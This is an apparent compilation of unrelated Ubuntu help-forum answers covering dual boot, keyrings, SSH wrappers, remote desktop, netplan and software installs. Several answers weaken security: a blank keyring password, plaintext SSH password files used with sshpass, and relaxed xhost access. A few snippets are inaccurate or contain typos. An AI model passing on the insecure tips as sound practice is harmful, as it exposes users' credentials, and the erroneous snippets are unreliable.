    -H 192.168.4.152:389 -s base -b dc=example,dc=com '(&)' 1.1

If ldapsearch succeeds, the server is listening, the LDAP client has sufficient permission to perform this search, and the authentication was correct.


I continue to get this when trying to log into ubuntu one from the ubuntu desktop

Click Applications

Click Accessories

Click Passwords and Encryption Keys

-or-

Press ALT+F2

Then type in seahorse

-then-

Right click Passwords: login

Select Change Password

-then-

Change the password to blank. This will allow autologin to use your wireless password, start remote desktop, etc.

Another way is to remove the old keystore.

killall -9 gnome-keyring-daemon
rm -fr ~/.gnome2/keyrings/

reboot the computer sudo init 6and then on the first prompt to enter a new keyring password, i.e. when starting empathy or NetworkManager,simply press enter, a warning appears asking Use insecure storage?, press enter one more time. From now on, you won't be asked about passwords anymore.
And yes, this is insecure; if you are paranoid, don't do it.
enter
enter


Unable to launch AVD Emulator in Ubuntu 17.10

I had a similar problem which was resolved by updating SDK tools which had available updates. You can do this by:

Tools -> SDK Manager
Under SDK Platforms, select packages that have an update available and select OK
Under SDK Tools, confrim the Android Emulator, Android SDK Platform-Tools and Android SDK Tools are updated to the most current version. If not, select the appropriate developer tools and select OK for them to get updated.


USB hub card reader stopped working for virtualbox guest after 12.04 upgrade

OK - I installed 4.1.14 directly from the virtualbox site and it seems fine now.


You installed Ubuntu without having the Windows HDD installed, which means that Ubuntu won't know about Windows until you update GRUB. If you want to boot both and have both on the same menu, then simply connected the Windows HDD, turn the PC on and make sure that the first Boot HDD Device is the HDD that has Ubuntu on it. Boot Ubuntu and on the desktop open a terminal and type the following:

sudo update-grub

GRUB will find the other hard drive and say "Hey there is a Windows partition here on this other hard drive... and it is bootable!". Then wait a couple of seconds an done.

Next time you boot a GRUB menu will appear asking you which system you want to boot to, Ubuntu or Windows.

Just in case, if the menu does not appear, either press ESC like crazy when the computer starts booting or hold SHIFT (Or a combination of both).

UPDATE: Since you have UEFI I urge you to read the answer provided in the following links:

Installing Ubuntu Alongside a Pre-Installed Windows with UEFI

Configure Dual Boot, Windows 7 and Ubuntu 12.04 with or without EFI

Dual boot UEFI Windows 7 and Ubuntu 12.04 (both 64 bits). W7 entry doesn't appear in GRUB

How to boot Ubuntu from EFI/UEFI?

They will cover the cases related to having Windows on a PC that has UEFI support.

UPDATE 2 - Did an actual test of what I said above. After connecting the Windows HDD again and running update-grub I got the following:

Generating grub.cfg ...
Found linux image: /boot/vmlinuz-3.8.0-7-generic
Found initrd image: /boot/initrd.img-3.8.0-7-generic
Found linux image: /boot/vmlinuz-3.8.0-6-generic
Found initrd image: /boot/initrd.img-3.8.0-6-generic
Found linux image: /boot/vmlinuz-3.8.0-5-generic
Found initrd image: /boot/initrd.img-3.8.0-5-generic
Found memtest86+ image: /boot/memtest86+.bin
Found Windows 7 (loader) on /dev/sdc1
done

As you can see, GRUB found the boot loader of Windows 7 on that other HDD I just plugged in. I also removed the HDD again and ran update-grub which did exactly what I thought it would, remove Windows 7 from the list.


How can I run Baka-MPlayer with another language?

Some qt applications use (incorrectly) the LC_NUMERIC locale category to pick the display language. Hence you may want to try:

LC_NUMERIC=nl_NL.UTF-8 ./application

Or, if that doesn't work either, try:

LC_ALL=nl_NL.UTF-8 ./application

Edit:

When seeing the additional info after you edited the question, it looks like you haven't installed the Dutch language. You'd better do so using Language Support.


If the Windows partition you are using is for gaming then I understand you want to fix the error but if you are not using it for gaming I suggest you install Virtualbox and that you install Windows inside Ubuntu, it works great.

To solve the problem try the following, repeat it several times:

http://www.eightforums.com/tutorials/2843-automatic-repair-run-windows-8-a.html

If you can't get the problem solved that way just refresh:

http://www.eightforums.com/tutorials/2293-refresh-windows-8-a.html

Hope it was helpful!


No, you cannot install graphics drivers or updates for them using wine.


Is there any command-line software to create e-books from the scratch in Ubuntu?

A wide variety of documents can be converted to ebook (epub, mobi, ...) using ebook-convert which is part of the calibre package.

For example, as long as input is a supported format, an epub can be created with the command:

ebook-convert  input output.epub

Or, if you use kindles:

ebook-convert  input output.mobi

Some input formats include:  LIT, MOBI, AZW, EPUB, AZW3, FB2, DOCX, HTML, PRC, ODT, RTF, PDB, TXT, PDF.

If the input file is a PDF, then one may want to add an option:

ebook-convert --enable-heuristics  input.pdf output.epub

Calibre may be available from your package manager but it often helps to install the latest version which is available here.

Authoring a book

As an alternative to calibre, OpenOffice/LibreOffice offers an extension, Writer2ePub, to claims to be able to create "well formatted, easy readable ePub" files with a single click.

The Writer2ePub extension can be downloaded from here.


Will the Unity "file manager" feature right-clicks?

Yeah, it will. I'm not sure if it's going to happen for 11.04, but 11.10 wil see a lot of work on the dash and places. For 11.04 we're going to bring nautilus back into the front so that working with files is easier until we flesh out the interaction details for the dash.


How to export the Evolution addressbook as csv-file

After a long search, Milan from the Gnome Evolution mailing list helped me (2015):

There is a tool called evolution-addressbook-export which is hidden in the folder /usr/lib/evolution/3.10*/ [*depends on the version of Evolution you have installed on your computer]. To let it run, open a terminal and write on the command line for example:
/usr/lib/evolution/3.10/evolution-addressbook-export --format=csv --output=/home/USERNAME/mycontacts.csv

UPDATE for Evolution 3.21.4 and following (e.g. Ubuntu 18.04), thanks for the tip, Andy:
The tool is now called addressbook-export and in a different folder /usr/lib/evolution/evolution-data-server/, example command in the terminal:
/usr/lib/evolution/evolution-data-server/addressbook-export --format=csv --output=/home/USERNAME/mycontacts.csv

UPDATE for Evolution 3.32.1-2 and following (e.g. Ubuntu 19.04):
The tool was moved to a different folder /usr/libexec/evolution-data-server/, example command in the terminal:
/usr/libexec/evolution-data-server/addressbook-export --format=csv --output=/home/USERNAME/mycontacts.csv

Flatpak version: it's more tricky to run.
 1. Run Evolution in Flatpak (to start the needed background processes).
 2. Open terminal inside the Evolution's sandbox:

   $ flatpak run --command=sh org.gnome.Evolution

There you can run the addressbook-export.

$ /app/libexec/evolution-data-server/addressbook-export
It is up to you how to extract the resulting file out of the Flatpak
sandbox (copying from the terminal window may break white spaces, thus
be careful).

Help Options:

-h, --help                         *Show help options

Application Options:

--output=OUTPUTFILE                *Specify the output file instead of standard output
-l, --list-addressbook-folders     *List local address book folders
--format=[vcard|csv]               *Show cards as vcard or csv file

You can find more options here.


How do I save a LibreOffice Calc file for opening in Excel?


How do you add the password into ~/.ssh/config file for custom ssh connections

There is no way for providing password in ssh config.
You should use ssh keys instead.
But, if you would like to work around it, keep in mind that saving passwords in plain text is insecure.
Simple workaround would be creating a ssh wrapper with sshpass on top.
Install sshpass first:
sudo apt install sshpass
Prepare a bash script for a wrapper:
touch $HOME/.ssh/sshp.sh
chmod 700 $HOME/.ssh/sshp.sh
Paste this code into $HOME/.ssh/sshp.sh

#!/bin/bash

SSH_HOST=$1

if [[ ! "$SSH_HOST" ]]; then echo "provide ssh_host as first argument"
; exit 1 ; fi

sshpass -p "$(cat $HOME/.ssh/passwords/$SSH_HOST)" ssh $SSH_HOST

Edit ~/.bashrc and add:
alias sshp='$HOME/.ssh/sshp.sh'
Then type:
source ~/.bashrc
Next, save passwords for your hosts like this:
mkdir $HOME/.ssh/passwords
chmod 700 $HOME/.ssh/passwords
echo -n "password" > $HOME/.ssh/passwords/EXAMPLEHOST1
echo -n "password" > $HOME/.ssh/passwords/EXAMPLEHOST2
echo -n "password" > $HOME/.ssh/passwords/EXAMPLEHOST3

Clean current bash history once you've saved your passwords.
history -c
And use sshp alias instead ssh to connect to your server:
sshp EXAMPLEHOST1


Trouble installing Ubuntu 12.04 from USB

Likewise, I encountered a similar problem when I tried to install
Ubuntu 12.04 on my new Dell Inspiron laptop PC.  The installation process
went through the "Welcome" and "Preparing to install Ubuntu" windows
without any obvious problems, but then the "Installation type" window did
not show any partitions, and I was stuck, with no obvious indication of
what was wrong or what to try next.  I was trying to install Ubuntu 12.04
from a CD-ROM disk rather than a USB Flash drive, but I don't think that
matters.

After doing some reading online and from a few technical reference books,
I came to the conclusion that setting up a dual boot configuation with
Windows 7 and Linux on the computer's internal hard drive is practically
impossible.  Apparently Windows 7 uses "dynamic disks", and this dynamic
disks technology does not allow Linux to co-exist with Windows 7.  Here's
an online article that provides some info on this topic, and supports the
claim that Linux is incompatible with dynamic disks:
  https://superuser.com/questions/89304/ubuntu-9-10windows-7-dual-boot-dynamic-disks
  "Ubuntu 9.10+Windows 7 dual boot, dynamic disks"

This was frustrating, because I would have liked to have Windows 7 and
Ubuntu together on my computer's internal hard drive.  However, I found
a solution that works reasonably well.  I bought a Seagate external disk
drive, plugged it in to one of my computer's USB 3.0 ports, used the
Windows 7 disk management utility to create a few new partitions on that
Seagate external drive, and then successfully installed Ubuntu 12.04 (from
a CD-ROM disk) on the external drive.  Now, if I want to boot Ubuntu
instead of Windows 7, I plug in my external drive, turn on the computer,
press the F12 key for boot options, and then tell the boot manager to boot
from the external USB device rather than the internal hard drive.  This
seems to work well enough.  USB 3.0 provides such high data transfer rates
that I haven't noticed any serious performance problems.

One noteworthy advantage of installing Ubuntu on an external drive instead
of your computer's internal hard drive is that this provides you with more
portability.  The Seagate external drive is conveniently small and light.
It does not require a separate power cable; it gets its power via the USB
connection, and thus requires only one cable - for the USB 3.0 connection.
I can easily carry around the drive and its accompanying USB cable in a
small case, plug it in to a computer anywhere else, and then boot up my
own personal Ubuntu system using the CPU, main memory and I/O resources
of whatever PC system I happen to be near (e.g., my PC at the office, or
at a friend's house, or wherever).


It's because Ubuntu is using your CPU (which barely makes the cut) to handle GPU code for the Unity interface. Use Additional Drivers (jockey-gtk or Software Sources > Additional Drivers tab) to see if there are graphics drivers available for your system. If not, you may want to consider buying a better computer. Or, since those are very minimal specs for Ubuntu, you may want to try Lubuntu, Xubuntu, or even Kubuntu (which is also somewhat cumbersome), all official variants of Ubuntu, or even a whole different distro; there are plenty out there.


Workspaces no longer recognise when an app is already running?

Check whether your dock is set to isolate workspaces:
gsettings get org.gnome.shell.extensions.dash-to-dock isolate-workspaces

If set to true, then reset to the default value:
gsettings reset org.gnome.shell.extensions.dash-to-dock isolate-workspaces

or explicitly set it to false:
gsettings set org.gnome.shell.extensions.dash-to-dock isolate-workspaces false


Ubuntu 18.10 sets fonts too small at highest screen resolutions

I had the same problem on my Laptop - Installed Ubuntu 18.10 on an HP x360 i5-8250U 8th Gen CPU with Intel 620 UHD Graphics.

To solve the display issue, you need to use the Gnome Tweak tool

First ensure the Universe repositories are enabled - In Software & Updates tool, ensure all the Universe Repos are selected.

Click on the Reload Button to update Software & Updates Library Info

then open a terminal window and type:

sudo apt install gnome-tweak-tool

Once installed, open the Tweak tool from the Apps Menu navigate to the Fonts Section.

Set the Interface, Document & Legacy text to 12 points
Set Monospace to 14 points
Hinting should be set to Slight
AntiAliasing should be set to Subpixel

Scaling should be between 1.00 and no more that 1.04 for the screen ( more preferential than actual necessity.

Apart from the other very handy OS Tweaks within the app, your text viewing woes should be resolved

:)


You Can't, if you want another launcher I would suggest installing docky or cairo dock


Installing Ubuntu so that you can only boot from BIOS?

It's geekly but with in Windows there is way to reprogram the Master Boot Record for this. This is easier to do desktops since you can have 2 or more hard drives an use that button to the OS. In may case I have my desktop set-up so Windows 10 and Ubuntu are installed in a way were they don't know about the older OS. The UFI is set-up to always go 1st to the DVD-ROM Drive and then the Windows 10 disk. If I what to go into Ubuntu I suntdown Windows 10 hold the esc key on restart then pick the Linux drive.


Start "Setup.exe" with mono or define drive_c

You need to install wine-mono package, and run it with wine.

sudo apt-get install wine-mono
wine ./Setup.exe

Unless you're developing C# app with GNU/Linux, you'd better to stay away of the mono app. There's too many cases where plain mono wouldn't work, while the wine does. Often this is caused by .net app usage of some native Windows libraries instead of sticking to C# ones. You could blame the developers, and you would be right, because they have to think next time, and use Qt with C++ at the very least, or something else as flexible and crossplatform. However just to let you know: programing with Windows is a bunch of workarounds, also surprisingly C# was made to accord the old WinAPI (just wrapped to .net) instead of fixing its fails.


Why and where to create a loopback file for live persistence session?

Loopback "file" is actually a device file like those located in /dev/

So it's a special file and you should not copy it to some other computer. Loopback device is a special device in linux and I'm not sure that Mac shares the same mechanism of mounting iso files.

You can use FuseISO (http://sourceforge.net/projects/fuseiso/) to mount .iso files via fuse system instead of using kernel module for iso (which requires loopback device)


Not able to access folder due to wrong CHMOD commands

It looks like your attempt to join the www-data group failed.
Try this command sudo adduser ajinkya www-data

To verify you are in the www-data group, run groups and it should show up in the list. You may need to log out and back in.

Then you can change the permission to 775 (safer for a www directory) with sudo chmod -R 775 ~/www


How to keep top panel only on only one of my dual monitors?

That's not currently supported, but those things are being discussed, so it's possible that it might become available in some version after 12.04.


Authentication error while restarting apache

You must run that command using sudo as follow:

sudo service apache2 reload

Update:
If you have sudo: unable to resolve host server-1 problem, so you need to fix your hostname through /etc/hostname and /etc/hosts and reboot your linux machine to take affect. then retry above command again.
More details about this problem: Error message when I run sudo: unable to resolve host (none)


How do I make Secure Delete visible in terminal?

Use the "verbose" option to have it show process

srm -rv "the title of the directory"

Use -l for 2 passes and -ll for 1 pass. Both are less secure though.
So ...

srm -rvll "the title of the directory"

Omitting the l or ll will have srm do ...

1 pass with 0xff
5 random passes. /dev/urandom is used for a secure RNG if available.
27 passes with special values defined by Peter Gutmann.
5 random passes. /dev/urandom is used for a secure RNG if available.
Rename the file to a random value
Truncate the file

so indeed 38 passes :)


I want to see the progress of dd but when I type this command "sudo dcfldd" Ubuntu 14.04 does not recognize that command

To see the progress of dd, You can use eg. this command to send usr1 signal. When dd receive the signal it will print it's current status.

Open an extra terminal window and copy paste this:

sudo kill -usr1 $(ps aux | grep " dd " | grep -v sudo | grep -v grep | awk 'begin{}{print  $2}end')

If you want to do it manually, use ps aux and find the pid of dd.If you run dd with sudo, you should also use sudo for kill command. sudo kill -usr1 pid

Edit:
Found a shorter one-line here using pgrep https://askubuntu.com/a/215521/196592

However, when I am at it, I see no reason for not using pkill instead eg. sudo pkill -USR1 ^dd


You have run afoul of X-windows security! See man Xsecurity, man xauth, and man xhost, but in the short term, you can allow any UID running on your local system to have access to your X display by doing:

xhost +localhost

as your non-root UID from the session that has the display.


I have now got 0.91 from the Inkscape PPA.

To enable access to gradient mesh editing (Ubuntu 14.04 LTS), I had to do the following. In Inkscape:

Go to Edit > Preferences (or SHIFT-CTRL-P), then Interface > Keyboard Shortcuts.
In "Search" look for toolmesh as search term.
That should leave Context with a drop-down toggle. Toggle it to reveal a line that says:

Mesh ... Create and edit meshes
Click on the line in the "Shortcut" column, and choose your "accelerator" key combination (I used CTRL-ALT-M, fwiw).

Close the preferences dialog. Next time you click on an object, you can hit your key combination to put the gradient editor into "mesh-mode", as in the video linked by OP.

HT: hulf2012 in the Inkscape forum


Installing TexLive 2013 with starlinq instructions

Append that lines to ~/.profile - that means to add them at the end of the file.

There is nothing wrong if MANPATH_MAP doesn't fit in the predefined columns.

If you are afraid of messing things up make a backup of the files you're modifying.


never mind,

xscreensaver didn't had write rights on my home dir,

I created a user and set permissions for it.


ifconfig

to view the current MTU. Example (just searching for MTU):

ifconfig| grep -i MTU
      UP BROADCAST MULTICAST  MTU:1500  Metric:1
      UP LOOPBACK RUNNING  MTU:65536  Metric:1
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1


This bug in launchpad has some workaround which works for many users who have been using Ubuntu 13.10. Hope it works for you too.

Just follow these steps and try it once:

Copy the grub file first as backup for safety:

sudo cp /etc/default/grub /etc/default/grub_back

taking the backup of original /etc/default/grub file, in case some error occurs we can get back to original state
Open grub file to edit:

sudo gedit /etc/default/grub

opening the file in gedit to make the changes.
Once file opened replace following line :

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"

to the line:

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash pcie_aspm=force"

Note: The next line to the line mentioned above should be GRUB_CMDLINE_LINUX="" not GRUB_CMDLINE_LINUX="acpi_osi=Linux". Just check for the differences.

save and close the file.
Update the grub and restart your system once:

sudo update-grub
sudo reboot

Please reply if something goes wrong or you need any clarifications.


After several iterations...

for url in $(cat links.txt); do
    timeout 10 lynx "$url"
done

Lynx is blocking (and has to be to work) so sleeping doesn't work properly and it also tries to nab stdin which makes piping things "interestingly" difficult. See here for iterating lines in a file.

Lynx can be a bit annoying with its prompts for allowing cookies. You can either change its settings if it's a problem or you can pass in the -accept_all_cookies flag, like so:

for url in $(cat links.txt); do
     timeout 10 lynx -accept_all_cookies "$url"
done

Today I learned about the timeout command, so I'm happy.

To print a status at the end, the only way I can see how is to check the URL is okay separately, like so:

for url in $(cat links.txt); do
     timeout 10 lynx -accept_all_cookies "$url"
     if [[ $(curl -o /dev/null --silent --head --write-out '%{http_code}\n' "$url") -eq "200" ]]; then
        echo "Getting $url successful"
     else
        echo "Getting $url unsuccessful"
     fi
done


Mount AUFS pooled volume on boot (persistent / permanent)

Putting the line in /etc/rc.local should do the trick.


Fix...

I did a scan and repair using boot repair and it seems to have worked, as GRUB loads on start up and I can choose Ubuntu. Although it did say that there was an error during repair.

Results of repair below:

http://paste2.org/d32y7jPP


Ethernet card not detected on Ubuntu Server 12.04

looking at

/etc/udev/rules.d/70-persistent-net.rules

# This file was automatically generated by the /lib/udev/write_net_rules
# program, run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single
# line, and change only the value of the NAME= key.

# PCI device 0x8086:/sys/devices/pci0000:00/0000:00:1e.0/0000:02:08.0 (e100)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:07:e9:3c:34:1f", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"

# PCI device 0x8086:/sys/devices/pci0000:00/0000:00:03.0/0000:02:01.0 (e1000)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:07:e9:3c:34:1f", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth1"

Which says my new network card is eth1 - but it did not work as eth1, so i commented out everything, and then after reboot, udev found my new card as eth0

# This file was automatically generated by the /lib/udev/write_net_rules
# program, run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single
# line, and change only the value of the NAME= key.

# PCI device 0x8086:/sys/devices/pci0000:00/0000:00:1e.0/0000:02:08.0 (e100)
#SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:07:e9:3c:34:1f", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"

# PCI device 0x8086:/sys/devices/pci0000:00/0000:00:03.0/0000:02:01.0 (e1000)
#SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:07:e9:3c:34:1f", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth1"

# PCI device 0x8086:/sys/devices/pci0000:00/0000:00:03.0/0000:02:01.0 (e1000)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:07:e9:3c:34:1f", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"

ifconfig:

$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:07:e9:3c:34:1f
          inet addr:192.168.0.16  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::207:e9ff:fe3c:341f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:189 errors:0 dropped:0 overruns:0 frame:0
          TX packets:112 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:16698 (16.6 KB)  TX bytes:14257 (14.2 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:440 (440.0 B)  TX bytes:440 (440.0 B)

my net config file:

$ cat /etc/network/interfaces
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.16
netmask 255.255.255.0
gateway 192.168.0.4

everything works here now - system is happy


gedit tool bar missing unless running as sudo

Global menu
This is the expected behaviour in a default Ubuntu/Unity installation where all application menus are integrated as a globalmenu in the top panel:

It is possible to disable this feature but I would not recommend you do it at the time now. You will likely get used to this behaviour soon and you will enjoy to have all application's menus always in the same place, and often out of the way of your application's main window.
Why not for Root?
It is the super user Root who runs applications when you call them with sudo or gksu. Since Root does not run your desktop (in fact Root does not have a desktop at all) the application's menu can not be integrated to the top panel and are shown as usual.
However it is not recommended to run graphical applications as root because you will then have enough power accidentally harm your otherwise very stable OS.


Can I access Ubuntu from Windows remotely?

Yes, you can access Ubuntu from Windows remotely.

Taken from this article.

  Follow these steps :

  Step 1 – Install xRDP

  Open Terminal (Crtl+Alt+T) and execute the following commands:

sudo apt-get update
sudo apt-get install xrdp

  Step 2 – Install XFCE4 ( Unity doesn't seem to support xRDP in Ubuntu 14.04; although, in Ubuntu 12.04 it was supported ). That's why we
  install Xfce4.

sudo apt-get install xfce4

  Step 3 – Configure xRDP

  In this step, we modify two files to make sure xRDP uses Xfce4. First we
  need to create, or edit, our .xsession  file in our home directory. We
  can either use nano or simply redirect an echo statement (easier):

echo xfce4-session > ~/.xsession

  The second file we need to edit is the startup file for xRDP, so it
  will start Xfce4.

sudo nano /etc/xrdp/startwm.sh

  The content should look like this (pay attention to the last line and
  ignore . /etc/X11/Xsession):

#!/bin/sh

if [ -r /etc/default/locale ]; then
  . /etc/default/locale
  export LANG LANGUAGE
fi

startxfce4

  Step 4 – Restart xRDP

  To make all these changes effective, restart xRDP as such:

sudo service xrdp restart

  Testing your xRDP connection

  On the computer that will remotely control your Ubuntu machine, start
  you RDP client. Windows comes standard with a Remote Desktop client
  (mstsc.exe – you can start it from a command prompt, or find the
  shortcut to Remote Desktop under Accessories). Or Search 'remote' in
  start (Windows 7) Or 'remote' in search box in Windows 8.

  Whichever client you use, most will work with either the computer network
  name or IP address of your Ubuntu machine.

  To find the IP address on your Ubuntu box, type:

hostname -I

  (note: this is a capital “i”)

  Enter IP address of your Ubuntu machine. For example:

  Depending on your RDP client capabilities and settings (for example:
  Microsoft RDP Client allows automatic login), you might or might not
  see the login screen.
  Here we enter our Ubuntu username and password and click “OK”

  You are done,enjoy

PS: There are some good points mentioned in comments, so I thought to sum them up.

If you want to access Ubuntu from outside network, you'll need your Ubuntu
at work to have it's own, proper, internet IP address - a fairly
unlikely scenario. To work it otherwise, you need the externally
visible address of work, AND have port forwarding set to direct
incoming RDP requests to your work computer on the router. (Mark Williams)
To use the Ubuntu MATE desktop meta-session, replace last line startxfce4 in startwm.sh with mate-session. (Frank N)
You can use your actual machine name (by typing hostname) rather than your IP as it might be more stable on dynamic IPs in future sessions. (Frank N)


Couldn't find matching GLX visual (Resource temporarily unavailable)

Deleted ~/.etracer and it fixed itself...


how to install third party tool in anaconda python distribution

I don't know how to add it to anaconda, but you can add the directory where the source files are to the $PYTHONPATH environment variable, this way any python you're using will be able to 'see' what's in there.

So if you have it on ~/my_python_packages/essentia you would have to do:

export PYTHONPATH="$PYTHONPATH:~/my_python_packages"


wifi hiding itself after updating system

wifi icon is empty (no curved lines), mouse over the wifi icon and it says "disconnected", left click and open network icon and my wifi connection is not there and under "wifi networks" it says "disconnected" but click on "connect to hidden wifi network" the box comes up, click "connection" and there is my wifi ssid but it still won't connect after following the prompts..............reinstall the system to before the updates and wifi is a'ok ............ I have recently downloaded 15.10 and run the "live desktop" It doesn't have a wifi connection "at all" so I'm thinking it's maybe my usb wifi dongle ???? (belkin)   I might have to get a new wifi card or go buy a cable ;0( ............(this is all on a desktop not a lappy)


How to integrate Audacious in the sound menu?

It will, but I don't know how many more months or years it will take.

Audacious project lead said:

  I think we're just waiting for a volunteer to do it.

Right now, IT DOES! Audacious 3.2 supports the Sound Menu.

I contacted the developers on IRC in 2010, I reported the bug on Launchpad and upstream.

Finally, today's Git version features a basic MPRIS 2 plugin enabled by default that works with the Ubuntu Sound Menu: http://redmine.audacious-media-player.org/issues/14#note-7


Ubuntu 18.04.1 System Settings Won't Launch!

In Ubuntu 18.04 with NVIDIA graphics I had to install proprietary nvidia-driver-430.40 to make the System Settings "gnome-control-center" work.

and added repositories:

sudo add-apt-repository ppa:graphics-drivers/ppa
sudo add-apt-repository ppa:oibaf/graphics-drivers

and ran

sudo ubuntu-drivers autoinstall

The problem was solved.

If does not work for you. To remove the PPAs run:

sudo ppa-purge ppa:graphics-drivers/ppa
sudo ppa-purge ppa:oibaf/graphics-drivers

Modified from here.


Where can I find my original 'sources.list' file?

It is generated by the installer.

If you use Ubiquity (the live one), you can see how in launchpad.

I didn't dig for the classic installer, debian-installer.


How to setup netplan with additional loopback addresses but mainly use NetworkManager?

I'm not sure this is the "correct way" but it indeed works like you want it to.

You can set which renderer to be used for the loopback interface like below, edit the file /etc/netplan/01-network-manager-all.yaml (or your *.yaml file):

# Let NetworkManager manage all devices on this system
network:
  version: 2
  renderer: NetworkManager
  ethernets:
    lo:
      renderer: networkd
      match:
        name: lo
      addresses:
        - 172.16.123.1/32

Tested and works as expected on Ubuntu 18.04 Desktop.

Hope this helps.


android-sdk - unable to run the SDK manager

I got this, so I went looking on a system where it worked. The command lives here:

unzip -t Android/Sdk/tools/lib/sdklib-26.0.0-dev.jar | grep sdkman
testing: com/android/sdklib/tool/sdkmanager/   OK
testing: com/android/sdklib/tool/sdkmanager/ListAction.class   OK
...etc

This zip doesn't exist on my bad machine. I have no idea why, and some of the .jar files in there complain about

bad extra-field entry:
  EF block length (0 bytes) invalid (< 4)

but I just copied what I needed from a working machine.


Note: This answer got updated in January 2019 according to JetBrains' recommendations at that time and because GetDeb seems broken. To see my previous version of the answer, check the revisions.

You can visit the PyCharm Download page for Linux.

They offer three different ways to install PyCharm (Professional or Community Edition) there, in order of my personal preference. Decide on one of them:

JetBrains Toolbox App:

Don't download PyCharm directly, but instead get and install the free Toolbox App to manage all of your JetBrains IDEs easily. The Toolbox lets you conveniently manage and install all JetBrains IDEs and update them with a single click, all in one place. It can also centrally manage your account login, if you have a paid license.

I would strongly recommend it, especially if you might want to use any other JetBrains IDEs like e.g. IntelliJ or WebStorm too. This method also doesn't need administrator rights, everything will be installed in your home directory (~/.local/share/JetBrains by default).

To go this way, download the Toolbox installer first. It comes as .tar.gz archive again, but only contains a single AppImage executable. Extract and run that to install the Toolbox. You can delete the downloaded archive and AppImage after that again. Then, launch the Toolbox App:

It will list your installed IDEs, and show all other available products below that. Just click the Install button next to the PyCharm edition you want (free Community or paid Professional) and it will do everything for you in background.

You should also probably check the Toolbox settings and adapt them to your preference. To do that, click the screw nut symbol in the top right corner. Most importantly in my opinion, decide if you want it to keep the previous version after an update as fallback. Note that each IDE will take roughly around 1GB disk storage, and if you have many IDEs installed and also keep fallback versions, this can add up to a lot of space if your Ubuntu partition isn't that big. You can also switch automatic Toolbox (not IDE) updates, Toolbox autostart and sending anonymous statistics on or off.

Install as snap package:

JetBrains offers all PyCharm editions as snap packages for Ubuntu. This should be supported since 16.04. Some flavours of Ubuntu (like Lubuntu) might not come with snap support preinstalled though. Check this installation guide in that case.

I have not personally tried this approach, but it looks like a good thing to me.

Installing a PyCharm snap should be as simple as running one of the below commands, depending on which edition you want:

sudo snap install pycharm-community --classic

sudo snap install pycharm-professional --classic

sudo snap install pycharm-educational --classic

Next, run either pycharm-community, pycharm-professional, or pycharm-educational in the terminal, depending on which you installed.

Download as .tar.gz archive:

You can select and download an archive containing either the Professional or Community Edition from the page linked above.

This method should probably work on any system, but I would personally not really recommended it as you have to manually extract it somewhere and updates are also not that easy.

If you decide to go for this anyway, follow the instructions here after you downloaded the .tar.gz archive file for your preferred edition. For your convenience, here's an adapted version of the official instructions:

  Unpack the pycharm-*.tar.gz file to the folder where you want to install PyCharm:

tar xfz pycharm-*.tar.gz -C <new_archive_folder>

  The recommended installation location according to the filesystem hierarchy standard (FHS) is /opt. To install PyCharm into this directory, enter the following command:

sudo tar xfz pycharm-*.tar.gz -C /opt/

  (Personal note: I would advise against putting PyCharm in a location that requires sudo permissions to write. Pick a location somewhere in your home directory instead to avoid permission problems in the future, e.g. during updates.)
  Switch to the bin subdirectory:

cd <new_archive_folder>/pycharm-*/bin

  For example,

cd /opt/pycharm-*/bin

  Run pycharm.sh from the bin subdirectory.


System log error when running Firestarter configuration program

Ubuntu 11.04 installs rsylogd rather than syslogd which Firestarter was expecting.

rsyslogd is configured using the file /etc/rsyslog.d/50-default.conf.

You can edit this file

gksu gedit /etc/rsyslog.d/50-default.conf

and change the lines commented out that create the relevant logfile

#*.=info;*.=notice;*.=warn;\
# auth,authpriv.none;\
# cron,daemon.none;\
# mail,news.none -/var/log/messages

to

*.=info;*.=notice;*.=warn;\
        auth,authpriv.none;\
        cron,daemon.none;\
        mail,news.none -/var/log/messages

and then restart rsyslog:

sudo service rsyslog restart

source


How can I access directly to my backup files, without having to restore them?

Yes, it's possible. Go to the directory where the file used to be, (eg: Pictures), open the folder in Nautilus, and click "Restore Missing Files..."

If a file or directory has since changed, and you want to restore previous versions, right click on the file itself, and choose "Revert to Previous Version..."


This answer is to address solely

  Dolphin doesn't show preview at all.

I have Kubuntu 18.04 and Dolphin is the default file manager. In Configure Dolphin > Dolphin Preferences > General > Preview, one has a choice of what one wants to preview:

For the purpose of this answer, I've chosen to preview SVG files.

Looking at the contents of /usr/share/icons/gnome/scalable/apps because I have LibreOffice installed, the smallest view, 16px, looks like this:

whereas one can adjust the slider in the lower right of the window to 256px:


How to run a command for all users in a specific group at login, any help would be appreciated

I would keep this out of the user's homedir. That's just begging for people to hack it to bits. That part is simple enough though, you can just add a new file to /etc/X11/Xsession.d/ (eg /etc/X11/Xsession.d/90-confidential with the content:

if [[ `groups | grep aduio` ]]
then
    exec confidential -host "ip" -name $USER &
fi

